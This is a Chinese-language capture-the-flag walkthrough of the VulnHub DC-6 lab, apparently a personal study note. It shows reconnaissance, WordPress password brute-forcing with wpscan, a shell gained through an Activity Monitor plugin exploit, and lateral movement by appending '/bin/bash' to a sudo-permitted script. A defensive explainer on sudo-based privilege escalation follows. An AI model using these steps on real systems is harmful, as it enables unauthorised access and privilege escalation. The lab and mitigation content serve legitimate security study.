二刷DC: 6靶场
DC: 6
来自 <https://www.vulnhub.com/entry/dc-6,315/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.156
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.156
4,访问80端口的http服务
提示要做一个域名解析
echo "192.168.23.156 wordy" >>/etc/hosts
标准的wordpress建站
再扫描其网站子目录
gobuster dir -u http://wordy/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
扫描识别其网站指纹
whatweb -v http://wordy/
5,打了这么多wordpress建站的靶场,一般都是直接拿wps进行针对性漏洞扫描。枚举扫描出五个用户
wpscan --url http://wordy/ -e u
制作用户名集合文件,再根据提示制作密码字典
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
然后再根据字典爆出用户名密码的
wpscan --url http://wordy -U user.txt -P passwords.txt
成功爆出来一对账户密码mark / helpdesk01
http://wordy/wp-login.php
登录成功,尝试插件上传木马,发现没有添加插件的选项。这里只有Activity Monitor
WordPress 插件:Activity Monitor
概述
Activity Monitor 是一款面向 WordPress 的活动日志与审计工具插件,主要作用是实时监控、记录和分析站点中的用户行为和系统事件。它通常用于安全审计、问题排查和合规性管理,帮助站点管理员掌握“谁在什么时候做了什么”。
这种插件被广泛应用在:
- 企业或组织网站(需要用户操作审计)。
- 多人协作的博客/内容管理网站。
- 对安全敏感的网站(如电商、门户、教育平台)。
核心功能
- 用户活动日志
- 记录用户的登录、登出、密码更改、角色变更等操作。
- 捕获用户对文章、页面、评论、插件、主题等的增删改动作。
- 登录监控与安全
- 跟踪失败的登录尝试、暴力破解迹象。
- 记录登录来源 IP 与时间戳。
- 站点变更跟踪
- 插件启用/停用、主题更换、站点配置修改等。
- 系统更新、后台设置变动。
- 实时通知与告警
- 支持通过邮件或管理面板即时提示高风险操作(如管理员用户添加、文件修改)。
- 部分插件可与 Slack、Telegram、SIEM 系统集成。
- 可视化与报表
- 后台图形化界面展示操作日志。
- 提供筛选、搜索、导出功能,便于取证与审计。
应用场景
- 安全合规:满足内部安全审计或外部合规要求(例如记录后台操作痕迹)。
- 问题追踪:网站出现异常时,可回溯到哪个用户或操作导致。
- 多人协作管理:区分不同管理员、编辑、作者的行为,避免“扯皮”。
- 入侵检测辅助:日志中出现异常行为(频繁登录失败、大量配置修改)可作为预警。
与其他类似插件的对比
- Activity Monitor:强调轻量化,功能覆盖基础的用户与站点操作监控。
- WP Activity Log:更专业全面,支持细粒度监控与外部集成,适合企业站点。
- Simple History:主打简洁的活动记录,界面友好,适合中小型站点。
使用注意事项
- 性能影响:开启详细活动日志会增加数据库写入量,应合理设置保留时间。
- 日志存储与安全:建议定期清理或归档日志,避免数据库膨胀,同时保护日志不被篡改。
- 告警配置:避免过度告警(导致信息疲劳),建议只对高风险操作启用即时通知。
- 插件来源:应选择信誉较好的插件版本(官方仓库或有口碑的开发者),避免安全隐患。
6,检索插件相关的漏洞
searchsploit activity monitor
存在远程命令执行漏洞,下载脚本使用之。输入IP地址,已经获取的用户名密码就可以成功getshell
7,信息收集一下
存在四个普通用户,分别查看一下
ls -la /home/mark
ls -la /home/mark/stuff
cat /home/mark/stuff/things-to-do.txt
由此得到graham用户的密码GSo7isUM1D4
8,ssh登录一下这个用户,登录成功
ssh graham@192.168.23.156
尝试一下sudo -l提权
可以免密以jens用户权限执行/home/jens/backups.sh
在文件中添加命令行以启动jens用户的shell
cd /home/jens
echo '/bin/bash' >> backups.sh
sudo -u jens ./backups.sh
横向移动成功
9,再查看jens用户的sudo -l命令
sudo可以免密码以root权限执行nmap命令,查看提权手册
成功提权变成root用户
一、核心思路
当某个程序被 sudo 配置允许以更高权限执行且该程序自身提供了交互式命令执行能力、可运行脚本或可执行任意子命令的接口,执行它可能不会“回退”或受限于调用者原有权限,从而为调用者打开在高权限上下文运行命令的通道,进而实现提权或维持特权访问。
二、技术机制说明
- sudo 的职责与“权限托管”
- sudo 的作用是以受控方式让非特权用户执行被授权的命令或程序。执行时,内核通过 execve() 创建新进程,新进程的 UID/EUID/GID 等会根据 sudoers 的授权进行调整(通常变为 root 或指定用户)。
- 关键在于:一旦 sudo 启动了目标程序,该程序便在目标(更高)权限上下文中运行,除非程序主动或环境设置限制其能力,执行期间它拥有由内核赋予的那些权限。
- 程序自身的“能力/接口”决定滥用可能性
- 若目标程序允许:执行脚本代码、加载或运行用户输入的脚本、提供交互式命令解释器、支持扩展脚本或允许传入未受限的参数并把它们传给 shell,那么调用该程序就可能变成执行任意命令的通道。
- 简单示意:sudo 启动 A 程序(以 root),A 程序解析并执行来自用户控制的数据或脚本 → 执行的动作以 root 身份发生 → 提权成功。
- 交互式/脚本化接口的风险点
- 交互式模式(例如早期某些网络扫描器/工具的交互 shell)允许在程序内部输入并执行命令;若该交互在 root 上下文提供 !、system、shell 等转义或子命令就成了直接的特权 shell。
- 支持 --script、--plugin、扩展脚本语言或加载本地文件的程序,若没有对传入脚本/路径进行严格限制,也会被利用为执行任意代码的载体。
- 进程与权限不回退的含义
- 某些程序在得到 root 权限后,并不会主动降低其 Effective UID,或者即便调用者最初是普通用户,程序的后续子进程(例如通过 system()、popen()、Lua/Python 扩展等)会继承高权限环境,从而能执行被滥用的操作。
- 另外,程序可能会载入动态库或扩展模块;以高权限运行时,这些加载点也构成利用面(例如被可写位置替换的模块)。
- 环境与路径相关的辅助风险
- LD_PRELOAD/LD_LIBRARY_PATH(若未在 sudo 环境清理或在 setuid 程序允许)与 PATH 污染,可导致加载非预期库/可执行文件并触发特权代码执行。
- 可写目录中的可执行副本(例如在 /tmp 或用户目录放置的二进制并被 sudo 允许执行),结合 sudo whitelist 中只列出程序名而非绝对路径时,会被利用。
三、常见易被滥用的场景
- 交互式命令接口:程序启动后进入类似“内部 shell”的交互模式,提供 ! 或 sh 命令转到系统 shell。
- 脚本/插件加载:程序允许用 --script=<path> 加载脚本文件并在运行时执行该脚本。若该脚本路径可由非特权用户写入或被外部控制,即可执行任意代码。
- 参数拼接执行:程序将用户输入传入系统调用或 shell 命令(无严格验证),成为命令注入向量。
- 解释器/通用工具被 sudo 授权:例如将整个解释器(Python、Perl、PHP 等)或编辑器(vi/vim)以 sudo 允许,若它们能在运行时执行系统命令或加载插件,即会被滥用。
这些场景在各类 CVE 中均有体现:核心要点并非工具本身“有缺陷”,而是授权与功能组合产生了可被滥用的攻击面。
四、检测与取证线索
- 审查 sudoers:查明哪些用户或组有权运行哪些命令(sudo -l 输出、/etc/sudoers 与 sudoers.d 条目)。重点关注以 NOPASSWD、通配符或允许带任意参数的规则。
- 日志审计:监控 sudo 日志(通常在 /var/log/auth.log、/var/log/secure),查找异常的 sudo 调用,特别是对交互式工具或脚本参数中包含路径/特殊字符的调用。
- 监控可执行文件:检测被允许通过 sudo 运行的二进制是否为交互式或可加载脚本的类型,追踪其最近修改时间、哈希校验与包来源。
- 进程行为:在疑似事件发生时,采集进程快照、网络连接、父子关系以及 shell 会话的痕迹。
- SIEM/规则提示:设置规则检测对特定二进制的 sudo 执行或在 sudo 会话后创建的 shell 子进程。
五、防御与缓解策略
目标原则:最小授权、限制命令参数、清洁执行环境、可审计/可回溯
- 最小化 sudo 授权
- 只在确实需要时授予执行权限;尽量避免 NOPASSWD;避免 ALL 与通配符匹配。
- 使用绝对路径指定可执行命令(在 sudoers 中写 /usr/bin/nmap 而非 nmap),避免 PATH 污染被利用。
- 限制命令与参数
- 在 sudoers 中尽量指定完整命令行或使用 Cmnd_Alias 精确控制允许的参数;避免允许任意参数传递给有脚本/交互功能的程序。
- 如果需要让用户执行带有参数的工具,提供受控 wrapper(由管理员维护、只接受安全参数)而非直接把原工具列入 sudoers。
- 禁用或限制交互/脚本功能
- 在配置层面关闭工具的交互式或脚本加载功能(若工具支持类似 --no-interactive、--no-scripts 之类选项)。
- 在不可控情况下不要把带交互/脚本能力的程序加入 sudo whitelist。
- 清理环境变量与启用 env_reset
- 在 sudoers 中使用 Defaults env_reset(通常默认启用),并只允许必要的环境变量通过 env_keep。
- 禁止或限制 LD_*、PATH 等影响加载行为的环境变量在特权上下文中被继承。
- 使用强制访问控制(MAC)与能力控制
- 启用 SELinux/AppArmor,并制定策略限制程序在被 sudo 启动后能做的操作(例如禁止 execve 某些路径、限制网络访问等)。
- 采用 Linux capabilities 最小化权能(不要随意把能力赋给通用工具)。
- 可执行文件完整性与包管理恢复
- 将系统二进制交由包管理器管理,定期通过校验哈希与重新安装来回退非标准改动。
- 监控 /usr/bin、/bin 等目录的写入操作;禁止普通用户替换系统二进制。
- 审计、告警与响应
- 建立对 sudo 调用、可疑参数、以及对“被允许”二进制的调用告警。
- 在运维流程中加入 sudoers 变更审批(任何把新程序加入 sudoers 或放宽参数规则都需要评审)。
- 强制管理账户使用 MFA,缩短管理员会话有效期。
- 教育与代码审查
- 对开发/运维团队开展培训,强调“不要把通用解释器/交互式程序直接放到 sudo 白名单”的风险。
- 对任何需要运行在高权限下的功能采用白盒审计与代码评审,确认没有任意命令执行点。
六、实例化检测/恢复建议
- 列出当前用户可运行的 sudo 命令(用于审计)
- 运行 sudo -l(仅用户级查看),或审查 /etc/sudoers 与 /etc/sudoers.d/*(使用 visudo -c 校验语法)。
- 确认被授权命令的绝对路径与哈希来源(与包管理器比对)。
- 若发现不应被授权的交互式程序或解释器,立即在测试环境评估移除 sudo 权限的影响,并按变更流程回收授权。
- 启用或强化 auditd 规则以记录对关键二进制的 execve 与对 sudoers 文件的写操作。